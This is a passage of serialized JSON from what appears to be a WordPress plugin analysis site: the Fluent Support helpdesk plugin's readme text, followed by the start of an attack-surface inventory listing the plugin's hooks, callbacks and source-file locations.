Ready\u003C\u002Fstrong>\u003Cbr \u002F>\nFluent Support is a self-hosted WordPress plugin. You own your data, and no external SaaS connection is required to run your Support system with Fluent Support.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Modern. Powerful. Super Fast\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Built with VueJS and REST API as a Single-page Application.\u003C\u002Fli>\n\u003Cli>Fast-loading, lean interface so anyone can use it without any learning curve.\u003C\u002Fli>\n\u003Cli>Super easy-to-follow ticketing dashboard with visuals for essential data points to show your overall support performance.\u003C\u002Fli>\n\u003Cli>Separate DB Tables, and it doesn’t affect your WordPress page speed.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>Seamless Integrations & Features (Pro)\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>Fluent Support features and integrations that will help your business –\u003C\u002Fp>\n\u003Ch4>Seamless e-commerce support with WooCommerce & EDD:\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>Let your customers open a support ticket against an order so you know exactly what they are talking about.\u003C\u002Fli>\n\u003Cli>Let your customers select a store product for the query.\u003C\u002Fli>\n\u003Cli>View your customer’s orders and purchase history from a ticket view.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Membership Support with WordPress Membership Plugins\u003C\u002Fh4>\n\u003Cp>If you have a membership site with Restrict Content Pro \u002F Paid Membership Pro \u002F Wishlist Member then we got your covered.\u003Cbr \u002F>\nWhen you view your member’s ticket you can see all the details of membership information so it’s super easy for you to give support to your customer.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Let your members open a support ticket so you know exactly what they are talking about.\u003C\u002Fli>\n\u003Cli>Let your members select a specific plan for the support ticket.\u003C\u002Fli>\n\u003Cli>View your customer’s membership history from the ticket view.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Make your Learning Management System more interactive\u003C\u002Fh4>\n\u003Cp>If you have a LMS site running on LearnDash \u002F LifterLMS \u002F TutorLMS, then Fluent Support is a perfect solution. With the core integration with your LMS system data, you can view all the details about your student when supporting your students.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Let your learners open a support ticket so you know exactly what they want to know.\u003C\u002Fli>\n\u003Cli>Let your members select a specific plan for the support ticket.\u003C\u002Fli>\n\u003Cli>View learning history from the ticket view.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Core BuddyPress\u002FBuddyBoss Support\u003C\u002Fh4>\n\u003Cp>With BuddyPress\u002FBuddyBoss integration, you can get a detailed overview about your community members from the same page of your support ticket overview.\u003C\u002Fp>\n\u003Cp>So you can \u003Cstrong>ALWAYS\u003C\u002Fstrong> respond with the right message!\u003C\u002Fp>\n\u003Ch4>Automate Smartly and Do More in Less Time\u003C\u002Fh4>\n\u003Cp>With the powerful Workflow (PRO) and Saved Replies feature (PRO) you can automatically send replies along with\u003Cbr \u002F>\n* Add internal notes\u003Cbr \u002F>\n* Set ticket priority\u003Cbr \u002F>\n* Assign appropriate support agents automatically\u003C\u002Fp>\n\u003Cp>With manual workflows, you can create a set of tasks and run those tasks on the selected filtered tickets. So you can automate multiple ticket actions with a single click.\u003C\u002Fp>\n\u003Ch4>Migrate From Other Support Plugins\u003C\u002Fh4>\n\u003Cp>If you are using any of the following Support plugins and want to migrate to this high performance and super fast support plugin then you can do that in a few minutes. We’ve built a super smooth migration module to make switching support desks a matter of a few minutes.\u003C\u002Fp>\n\u003Ch4> Migrate From Awesome Support – WordPress HelpDesk & Support Plugin\u003C\u002Fh4>\n\u003Cp>For Awesome Support   users the process is pretty simple. Just install Fluent Support, Configure with basic settings, create your agents and then follow the following steps\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Go to Fluent Support -> Settings\u003C\u002Fli>\n\u003Cli>You can see the Awesome Support migration details\u003C\u002Fli>\n\u003Cli>Click on the migrate now button\u003C\u002Fli>\n\u003Cli>It will take few minutes depends on your support tickets size\u003C\u002Fli>\n\u003Cli>Once completed it will ask if you want to delete Awesome Support Tickets from your database.\u003C\u002Fli>\n\u003Cli>Confirm Delete or leave it as is.\u003C\u002Fli>\n\u003Cli>Now you have all the data right inside your Fluent Support Dashboard.\u003C\u002Fli>\n\u003Cli>Resolve away!\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Migrate From SupportCandy – Helpdesk & Support Ticket System\u003C\u002Fh4>\n\u003Cp>For Support Candy plugin users it’s also super easy to migrate to Fluent Support. Just install Fluent Support, configure with basic settings, create your agents and then follow the steps below,\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Go to Fluent Support -> Settings\u003C\u002Fli>\n\u003Cli>You can see the SupportCandy migration details\u003C\u002Fli>\n\u003Cli>Click on the migrate now button\u003C\u002Fli>\n\u003Cli>It will take up to a few minutes depending on your support ticket size and volume in SupportCandy.\u003C\u002Fli>\n\u003Cli>Once completed it will ask if you want to delete SupportCandy Tickets from your database.\u003C\u002Fli>\n\u003Cli>Confirm Delete or leave it as it is. If you leave it then all data in SupportCandy will remain as it is.\u003C\u002Fli>\n\u003Cli>Now you have all the data right inside your Fluent Support plugin.\u003C\u002Fli>\n\u003Cli>Migration done from “SupportCandy – Helpdesk & Support Ticket System” to Fluent Support!\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Reviews by WordPress Experts\u003C\u002Fh4>\n\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FP0S5RKkSOhc?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&start=980&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\n\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FMrgbYAY9E9s?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\n\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FtTyvYHK8hcA?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\n\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FHxiJ6zLpbw8?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\n\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FqncHY5GsVIU?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\n\u003Ch3>Other Plugins By The Same Team\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Ffluent-crm\u002F\" rel=\"ugc\">FluentCRM – Email Newsletter, Automation, Email Marketing, Email Campaigns, and CRM Solution\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Ffluentform\u002F\" rel=\"ugc\">Contact Form Plugin by Fluent Forms for Quiz, Survey, and Drag & Drop WP Form Builder\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fninja-tables\u002F\" rel=\"ugc\">Ninja Tables – Easiest Data Table Builder\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fninja-charts\u002F\" rel=\"ugc\">Ninja Charts – WordPress Charts and Graphs Plugin\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwp-payment-form\u002F\" rel=\"ugc\">Simple Payment Donations & Subscriptions Plugin by Paymattic – Best Payments Plugin for WP\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Ffluentforms-pdf\u002F\" rel=\"ugc\">PDF Generator For Fluent Forms – The Contact Form Plugin\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Ffluent-smtp\u002F\" rel=\"ugc\">FluentSMTP – WP SMTP Plugin with Amazon SES, SendGrid, MailGun, Postmark, Google and Any SMTP Provider\u003C\u002Fa>\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Contribute\u003C\u002Fh3>\n\u003Cp>Fluent Support is an open source project. You can view the full sources (unminified JS) and  contribute to the project on GitHub: https:\u002F\u002Fgithub.com\u002FWPManageNinja\u002Ffluent-support\u003C\u002Fp>\n\u003Ch3>External Services\u003C\u002Fh3>\n\u003Cp>This plugin connects to several external services for various functionalities.\u003C\u002Fp>\n\u003Ch4>Spam Protection Services\u003C\u002Fh4>\n\u003Cp>\u003Cstrong>Google reCAPTCHA\u003C\u002Fstrong>\u003Cbr \u002F>\nThis plugin connects to Google’s reCAPTCHA service to protect support forms and login pages from spam and abuse. It analyzes user interaction patterns and form data to verify authenticity.\u003Cbr \u002F>\nIt sends form submission data, interaction behavior, and IP address when reCAPTCHA is enabled.\u003Cbr \u002F>\nThis service is provided by Google: \u003Ca href=\"https:\u002F\u002Fpolicies.google.com\u002Fterms\" rel=\"nofollow ugc\">Terms of Service\u003C\u002Fa>, \u003Ca href=\"https:\u002F\u002Fpolicies.google.com\u002Fprivacy\" rel=\"nofollow ugc\">Privacy Policy\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch4>Migration Services\u003C\u002Fh4>\n\u003Cp>\u003Cstrong>Zendesk API (Migration Feature)\u003C\u002Fstrong>\u003Cbr \u002F>\nThis plugin connects to Zendesk’s API when the migration feature is used to import tickets. It sends API credentials and retrieves ticket data, customer information, and attachments from Zendesk servers.\u003Cbr \u002F>\nData exchanged includes Zendesk API credentials, ticket data, user details, and attachments.\u003Cbr \u002F>\nThis service is provided by Zendesk: \u003Ca href=\"https:\u002F\u002Fwww.zendesk.com\u002Fcompany\u002Fcustomers-partners\u002Fterms-of-use\u002F\" rel=\"nofollow ugc\">Terms of Service\u003C\u002Fa>, \u003Ca href=\"https:\u002F\u002Fwww.zendesk.com\u002Fcompany\u002Fagreements-and-terms\u002Fprivacy-notice\u002F\" rel=\"nofollow ugc\">Privacy Policy\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Help Scout API\u003C\u002Fstrong>\u003Cbr \u002F>\nThis plugin connects to Help Scout’s API when the migration feature is used to import conversations. It sends API credentials and retrieves customer information, ticket conversations, and attachments.\u003Cbr \u002F>\nData exchanged includes Help Scout API access token, conversation data, customer details, and attachments.\u003Cbr \u002F>\nThis service is provided by Help Scout: \u003Ca href=\"https:\u002F\u002Fwww.helpscout.com\u002Fcompany\u002Flegal\u002Fterms-of-service\u002F\" rel=\"nofollow ugc\">Terms of Service\u003C\u002Fa>, \u003Ca href=\"https:\u002F\u002Fwww.helpscout.com\u002Fcompany\u002Flegal\u002Fprivacy\u002F\" rel=\"nofollow ugc\">Privacy Policy\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Freshdesk API\u003C\u002Fstrong>\u003Cbr \u002F>\nThis plugin connects to Freshdesk’s API when the migration feature is used to import tickets. It sends API credentials and retrieves ticket data, customer information, and attachments.\u003Cbr \u002F>\nData exchanged includes Freshdesk API credentials, ticket data, customer details, and conversation history.\u003Cbr \u002F>\nThis service is provided by Freshdesk: \u003Ca href=\"https:\u002F\u002Fwww.freshworks.com\u002Fterms\u002F\" rel=\"nofollow ugc\">Terms of Service\u003C\u002Fa>, \u003Ca href=\"https:\u002F\u002Fwww.freshworks.com\u002Fprivacy\u002F\" rel=\"nofollow ugc\">Privacy Policy\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Cstrong>JSHelpdesk Integration (Migration Feature)\u003C\u002Fstrong>\u003Cbr \u002F>\nThis plugin connects to your local JSHelpdesk installation when the migration feature is used. It accesses local files and data to import tickets and attachments into this plugin.\u003Cbr \u002F>\nData accessed includes local server files, ticket data, and customer information — all processed within your own server environment.\u003Cbr \u002F>\nNo external service connection is made for this integration.\u003C\u002Fp>\n\u003Ch4>Local Migration Tools\u003C\u002Fh4>\n\u003Cp>\u003Cstrong>Awesome Support and SupportCandy\u003C\u002Fstrong>\u003Cbr \u002F>\nThis plugin includes migration tools for Awesome Support and SupportCandy plugins.\u003Cbr \u002F>\nThese tools access ticket and customer data directly from your WordPress database and perform all operations locally.\u003Cbr \u002F>\nNo external connections are established, and all processing occurs within your own server.\u003C\u002Fp>\n","Feature Rich and Super Fast Support and Customer Ticketing System for WordPress.",262527,90,63,"2026-04-10T12:07:00.000Z",[381,21,382,383,384],"customer-support-plugin","support-plugin","support-ticket","wordpress-support-ticket","https:\u002F\u002Ffluentsupport.com","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ffluent-support.2.1.1.zip",89,7,"2026-01-05 00:00:00",{"attackSurface":391,"codeSignals":2949,"taintFlows":3533,"riskAssessment":4412,"analyzedAt":4429},{"hooks":392,"ajaxHandlers":1393,"restRoutes":2778,"shortcodes":2906,"cronEvents":2918,"entryPointCount":2947,"unprotectedCount":2948},[393,399,401,404,409,412,415,417,420,422,426,429,432,434,437,442,445,450,452,455,459,463,466,470,473,476,478,481,483,484,486,489,492,494,496,500,503,507,509,511,513,516,519,523,527,531,533,536,539,542,545,548,551,554,556,558,561,564,567,570,572,573,574,576,580,581,583,584,585,586,590,592,595,597,598,601,602,606,609,612,614,617,619,623,627,630,632,633,635,636,640,642,645,648,651,655,658,660,661,663,664,667,668,669,671,672,674,675,677,678,679,681,682,683,685,686,688,689,690,691,694,697,699,701,703,708,711,715,719,722,725,727,728,729,730,733,736,739,742,744,748,751,754,757,761,763,766,769,772,776,780,783,786,789,792,795,798,801,803,805,807,809,811,812,815,817,820,824,828,831,834,836,839,842,845,847,851,854,859,863,865,869,873,877,881,884,886,887,888,889,890,891,893,894,895,896,897,898,900,901,902,903,904,905,906,907,909,911,912,913,915,917,918,921,923,924,925,926,927,928,930,931,933,934,937,939,940,941,942,943,944,945,946,948,949,952,954,955,956,957,958,959,961,962,963,964,965,966,967,968,971,973,975,976,977,978,979,980,981,982,983,985,987,988,989,990,991,992,993,994,996,998,999,1000,1001,1002,1003,1004,1006,1007,1008,1009,1010,1011,1013,1014,1015,1016,1017,1018,1019,1020,1022,1023,1025,1026,1027,1028,1030,1032,1033,1034,1037,1039,1042,1045,1049,1052,1055,1056,1057,1058,1059,1061,1063,1065,1066,1068,1069,1070,1071,1072,1073,1074,1077,1078,1080,1081,1083,1084,1085,1086,1087,1089,1090,1093,1095,1097,1098,1099,1101,1102,1103,1106,1108,1112,1114,1116,1117,1118,1120,1121,1122,1124,1125,1126,1128,1130,1132,1133,1134,1136,1138,1139,1141,1142,1144,1145,1146,1147,1148,1149,1150,1151,1153,1154,1155,1157,1159,1160,1161,1162,1163,1165,1166,1167,1168,1169,1170,1171,1173,1174,1175,1177,1178,1179,1180,1181,1186,1189,1193,1196,1200,1202,1204,1206,1208,1209,1210,1211,1212,1214,1217,1219,1220,1222,1226,1228,1232,1235,1238,1241,1242,1243,1244,1246,1248,1250,1252,1255,1257,1258,1260,1263,1264,1266,1267,1269,1270,1272,1275,1279,1283,1285,1287,1288,1290,1291,1294,1295,1297,1299,1300,1302,1304,1306,1307,1308,1310,1311,1313,1314,1316,1317,1319,1320,1322,1323,1325,1326,1328,1329,1330,1332,1333,1335,1336,1338,1339,1341,1342,1344,1345,1348,1350,1352,1353,1355,1357,1359,1360,1362,1365,1367,1369,1371,1373,1376,1377,1379,1381,1383,1385,1387,1388,1389,1390,1391],{"type":394,"name":395,"callback":396,"priority":49,"file":397,"line":398},"action","init","initial_setup","class-wpsc-installation.php",65,{"type":394,"name":395,"callback":400,"priority":49,"file":397,"line":312},"set_upgrade_complete",{"type":394,"name":395,"callback":402,"priority":49,"file":397,"line":403},"upgrade",70,{"type":394,"name":405,"callback":406,"file":407,"line":408},"wp_footer","print_snippets","framework\\class-wpsc-framework.php",18,{"type":394,"name":410,"callback":406,"file":407,"line":411},"admin_footer",19,{"type":394,"name":405,"callback":413,"file":407,"line":414},"js_events",22,{"type":394,"name":410,"callback":413,"file":407,"line":416},23,{"type":394,"name":405,"callback":418,"file":407,"line":419},"dynamic_css",26,{"type":394,"name":410,"callback":418,"file":407,"line":421},27,{"type":423,"name":424,"callback":425,"file":407,"line":323},"filter","wpsc_admin_localizations","localizations",{"type":423,"name":427,"callback":425,"file":407,"line":428},"wpsc_frontend_localizations",31,{"type":394,"name":405,"callback":430,"file":407,"line":431},"js_frontend",34,{"type":394,"name":410,"callback":430,"file":407,"line":433},35,{"type":394,"name":410,"callback":435,"file":407,"line":436},"js_backend",36,{"type":394,"name":438,"callback":439,"priority":440,"file":441,"line":433},"delete_user","wp_user_delete",10,"includes\\admin\\agent-settings\\class-wpsc-agent-settings.php",{"type":394,"name":443,"callback":444,"priority":313,"file":441,"line":436},"user_register","wp_user_register",{"type":394,"name":446,"callback":447,"file":448,"line":449},"admin_init","load_sections","includes\\admin\\agent-settings\\class-wpsc-support-agents.php",39,{"type":423,"name":424,"callback":425,"file":448,"line":451},42,{"type":394,"name":410,"callback":453,"file":448,"line":454},"humbargar_menu",45,{"type":394,"name":456,"callback":457,"file":448,"line":458},"wpsc_js_ready","register_js_ready_function",48,{"type":394,"name":460,"callback":461,"file":462,"line":28},"admin_enqueue_scripts","load_scripts","includes\\admin\\class-wpsc-admin.php",{"type":394,"name":464,"callback":465,"priority":440,"file":462,"line":408},"admin_menu","load_admin_menus",{"type":423,"name":467,"callback":468,"file":469,"line":436},"wpsc_custom_field_categories","register_field","includes\\admin\\custom-fields\\class-wpsc-aof.php",{"type":423,"name":471,"callback":472,"priority":440,"file":469,"line":451},"wpsc_add_new_custom_field_cf_types","filter_cf_types",{"type":394,"name":446,"callback":447,"priority":49,"file":474,"line":475},"includes\\admin\\custom-fields\\class-wpsc-cf-settings.php",51,{"type":394,"name":410,"callback":453,"file":474,"line":477},54,{"type":394,"name":410,"callback":479,"file":474,"line":480},"footer_scripts",57,{"type":423,"name":424,"callback":425,"file":474,"line":482},60,{"type":394,"name":456,"callback":457,"file":474,"line":378},{"type":394,"name":395,"callback":485,"priority":440,"file":474,"line":312},"register_fields",{"type":394,"name":395,"callback":487,"priority":313,"file":474,"line":488},"register_allowed_modules",69,{"type":423,"name":467,"callback":468,"file":490,"line":491},"includes\\admin\\custom-fields\\class-wpsc-cf.php",37,{"type":423,"name":471,"callback":472,"priority":440,"file":490,"line":493},43,{"type":423,"name":467,"callback":468,"file":495,"line":491},"includes\\admin\\custom-fields\\class-wpsc-tf.php",{"type":394,"name":497,"callback":498,"priority":440,"file":499,"line":491},"wpsc_delete_custom_field","delete_custom_field","includes\\admin\\custom-fields\\class-wpsc-tff.php",{"type":423,"name":501,"callback":502,"file":499,"line":301},"wpsc_visibility_conditions","visibility_conditions",{"type":394,"name":504,"callback":505,"file":506,"line":431},"wpsc_create_new_ticket","customer_ticket_count","includes\\admin\\customers\\class-wpsc-customers.php",{"type":394,"name":508,"callback":505,"file":506,"line":433},"wpsc_ticket_archive",{"type":394,"name":510,"callback":505,"file":506,"line":436},"wpsc_delete_ticket",{"type":394,"name":512,"callback":505,"file":506,"line":491},"wpsc_ticket_restore",{"type":394,"name":514,"callback":505,"file":506,"line":515},"wpsc_ticket_delete_permanently",38,{"type":394,"name":517,"callback":505,"priority":518,"file":506,"line":449},"wpsc_change_raised_by",200,{"type":394,"name":520,"callback":521,"priority":518,"file":522,"line":491},"wpsc_submit_note","process_event","includes\\admin\\email-notifications\\class-wpsc-en-add-private-note.php",{"type":394,"name":524,"callback":521,"priority":518,"file":525,"line":526},"wpsc_change_assignee","includes\\admin\\email-notifications\\class-wpsc-en-assign-agent.php",44,{"type":423,"name":528,"callback":529,"priority":440,"file":525,"line":530},"wpsc_en_get_to_addresses","add_prev_assignee",47,{"type":423,"name":532,"callback":529,"priority":440,"file":525,"line":458},"wpsc_en_get_cc_addresses",{"type":423,"name":534,"callback":529,"priority":440,"file":525,"line":535},"wpsc_en_get_bcc_addresses",49,{"type":394,"name":537,"callback":521,"priority":518,"file":538,"line":526},"wpsc_change_agentonly_fields","includes\\admin\\email-notifications\\class-wpsc-en-change-agentonly-fields.php",{"type":394,"name":540,"callback":521,"priority":518,"file":541,"line":526},"wpsc_change_ticket_category","includes\\admin\\email-notifications\\class-wpsc-en-change-ticket-category.php",{"type":394,"name":543,"callback":521,"priority":518,"file":544,"line":526},"wpsc_change_ticket_fields","includes\\admin\\email-notifications\\class-wpsc-en-change-ticket-fields.php",{"type":394,"name":546,"callback":521,"priority":518,"file":547,"line":526},"wpsc_change_ticket_priority","includes\\admin\\email-notifications\\class-wpsc-en-change-ticket-priority.php",{"type":394,"name":549,"callback":521,"priority":518,"file":550,"line":526},"wpsc_change_ticket_status","includes\\admin\\email-notifications\\class-wpsc-en-change-ticket-status.php",{"type":394,"name":552,"callback":521,"priority":518,"file":553,"line":526},"wpsc_change_ticket_subject","includes\\admin\\email-notifications\\class-wpsc-en-change-ticket-subject.php",{"type":394,"name":504,"callback":521,"priority":518,"file":555,"line":323},"includes\\admin\\email-notifications\\class-wpsc-en-create-ticket.php",{"type":394,"name":510,"callback":521,"priority":518,"file":557,"line":323},"includes\\admin\\email-notifications\\class-wpsc-en-delete-ticket.php",{"type":394,"name":559,"callback":521,"priority":518,"file":560,"line":491},"wpsc_post_reply","includes\\admin\\email-notifications\\class-wpsc-en-reply-ticket.php",{"type":394,"name":395,"callback":562,"file":563,"line":323},"load_ignore_list","includes\\admin\\email-notifications\\class-wpsc-en-settings-tn.php",{"type":423,"name":565,"callback":566,"file":563,"line":477},"wpsc_en_conditions","filter_conditions",{"type":423,"name":568,"callback":569,"file":563,"line":480},"wpsc_en_triggers","filter_triggers",{"type":394,"name":446,"callback":447,"priority":49,"file":571,"line":491},"includes\\admin\\email-notifications\\class-wpsc-en-settings.php",{"type":394,"name":410,"callback":453,"file":571,"line":301},{"type":423,"name":424,"callback":425,"file":571,"line":493},{"type":394,"name":456,"callback":457,"file":571,"line":575},46,{"type":394,"name":446,"callback":577,"file":578,"line":579},"load_tabs","includes\\admin\\settings\\appearence\\class-wpsc-appearence-settings.php",32,{"type":423,"name":424,"callback":425,"file":578,"line":433},{"type":394,"name":446,"callback":447,"priority":49,"file":582,"line":449},"includes\\admin\\settings\\class-wpsc-settings.php",{"type":394,"name":410,"callback":453,"file":582,"line":451},{"type":423,"name":424,"callback":425,"file":582,"line":454},{"type":394,"name":456,"callback":457,"file":582,"line":458},{"type":394,"name":587,"callback":588,"file":589,"line":341},"wpsc_after_add_agent_role","after_add_agent_role","includes\\admin\\settings\\class-wpsc-ticket-widgets.php",{"type":394,"name":587,"callback":588,"file":591,"line":414},"includes\\admin\\settings\\dashboard-settings\\class-wpsc-dashboard-cards-setting.php",{"type":394,"name":395,"callback":593,"file":594,"line":416},"ignore_dbw_cf","includes\\admin\\settings\\dashboard-settings\\class-wpsc-dashboard-general-setting.php",{"type":394,"name":446,"callback":577,"file":596,"line":579},"includes\\admin\\settings\\dashboard-settings\\class-wpsc-dashboard-settings.php",{"type":423,"name":424,"callback":425,"file":596,"line":433},{"type":394,"name":395,"callback":599,"file":600,"line":414},"allowed_cft","includes\\admin\\settings\\dashboard-settings\\class-wpsc-dashboard-widgets-setting.php",{"type":394,"name":587,"callback":588,"file":600,"line":515},{"type":394,"name":603,"callback":604,"file":605,"line":416},"wpsc_js_ticket_form_functions","js_upload_function","includes\\admin\\settings\\general-settings\\class-wpsc-gs-file-attachments.php",{"type":394,"name":607,"callback":604,"file":605,"line":608},"wpsc_js_my_profile_functions",24,{"type":394,"name":610,"callback":604,"file":605,"line":611},"wpsc_js_it_functions",25,{"type":394,"name":613,"callback":604,"file":605,"line":419},"wpsc_js_customer_list_functions",{"type":394,"name":559,"callback":615,"file":616,"line":416},"change_ticket_status","includes\\admin\\settings\\general-settings\\class-wpsc-gs-general.php",{"type":394,"name":587,"callback":618,"file":616,"line":419},"after_add_new_role",{"type":394,"name":620,"callback":621,"file":616,"line":622},"wpsc_after_delete_agent_role","after_delete_role",29,{"type":394,"name":624,"callback":625,"priority":440,"file":626,"line":419},"delete_post","after_delete_post","includes\\admin\\settings\\general-settings\\class-wpsc-gs-page-settings.php",{"type":423,"name":628,"callback":629,"priority":440,"file":626,"line":622},"posts_where","search_wp_page_title",{"type":394,"name":446,"callback":577,"file":631,"line":579},"includes\\admin\\settings\\general-settings\\class-wpsc-gs.php",{"type":423,"name":424,"callback":425,"file":631,"line":433},{"type":394,"name":446,"callback":577,"file":634,"line":579},"includes\\admin\\settings\\miscellaneous-settings\\class-wpsc-miscellaneous-settings.php",{"type":423,"name":424,"callback":425,"file":634,"line":433},{"type":394,"name":637,"callback":638,"file":639,"line":416},"wpsc_print_tff","print_tff","includes\\admin\\settings\\miscellaneous-settings\\class-wpsc-ms-advanced.php",{"type":394,"name":637,"callback":638,"file":641,"line":416},"includes\\admin\\settings\\miscellaneous-settings\\class-wpsc-ms-gdpr.php",{"type":394,"name":643,"callback":644,"file":641,"line":419},"wpsc_js_validate_ticket_form","js_validate_ticket_form",{"type":394,"name":646,"callback":647,"file":641,"line":622},"wpsc_cron_daily","personal_data_eraser",{"type":423,"name":649,"callback":650,"file":641,"line":579},"wp_privacy_personal_data_exporters","wpsc_register_privacy_exporters",{"type":423,"name":652,"callback":653,"file":641,"line":654},"wp_privacy_personal_data_erasers","wpsc_register_privacy_erasers",33,{"type":394,"name":637,"callback":638,"priority":656,"file":657,"line":416},9,"includes\\admin\\settings\\miscellaneous-settings\\class-wpsc-ms-recaptcha.php",{"type":394,"name":659,"callback":638,"priority":656,"file":657,"line":608},"wpsc_my_profile",{"type":394,"name":643,"callback":644,"file":657,"line":421},{"type":394,"name":637,"callback":638,"file":662,"line":416},"includes\\admin\\settings\\miscellaneous-settings\\class-wpsc-ms-tac.php",{"type":394,"name":643,"callback":644,"file":662,"line":419},{"type":394,"name":395,"callback":665,"file":666,"line":449},"toolbar_options","includes\\admin\\settings\\text-editor-settings\\class-wpsc-text-editor.php",{"type":394,"name":446,"callback":577,"file":666,"line":451},{"type":423,"name":424,"callback":425,"file":666,"line":454},{"type":394,"name":446,"callback":577,"file":670,"line":579},"includes\\admin\\settings\\ticket-tags\\class-wpsc-ticket-tags-settings.php",{"type":423,"name":424,"callback":425,"file":670,"line":433},{"type":394,"name":446,"callback":577,"file":673,"line":579},"includes\\admin\\settings\\working-hrs\\class-wpsc-working-hrs.php",{"type":423,"name":424,"callback":425,"file":673,"line":433},{"type":394,"name":446,"callback":577,"file":676,"line":579},"includes\\admin\\ticket-list\\class-wpsc-agent-ticket-list-settings.php",{"type":423,"name":424,"callback":425,"file":676,"line":433},{"type":394,"name":497,"callback":498,"priority":440,"file":676,"line":312},{"type":394,"name":446,"callback":577,"file":680,"line":579},"includes\\admin\\ticket-list\\class-wpsc-customer-ticket-list-settings.php",{"type":423,"name":424,"callback":425,"file":680,"line":433},{"type":394,"name":497,"callback":498,"priority":440,"file":680,"line":312},{"type":394,"name":446,"callback":577,"file":684,"line":579},"includes\\admin\\ticket-list\\class-wpsc-ticket-list-more-settings.php",{"type":423,"name":424,"callback":425,"file":684,"line":433},{"type":394,"name":446,"callback":447,"priority":49,"file":687,"line":449},"includes\\admin\\ticket-list\\class-wpsc-ticket-list-settings.php",{"type":394,"name":410,"callback":453,"file":687,"line":451},{"type":423,"name":424,"callback":425,"file":687,"line":454},{"type":394,"name":456,"callback":457,"file":687,"line":458},{"type":423,"name":692,"callback":693,"file":687,"line":475},"wpsc_default_filter_conditions","default_filter_conditions",{"type":394,"name":446,"callback":447,"file":695,"line":696},"includes\\admin\\tickets\\class-wpsc-archive-ticket-list.php",144,{"type":423,"name":424,"callback":425,"file":695,"line":698},147,{"type":394,"name":410,"callback":453,"file":695,"line":700},150,{"type":394,"name":456,"callback":457,"file":695,"line":702},153,{"type":423,"name":704,"callback":705,"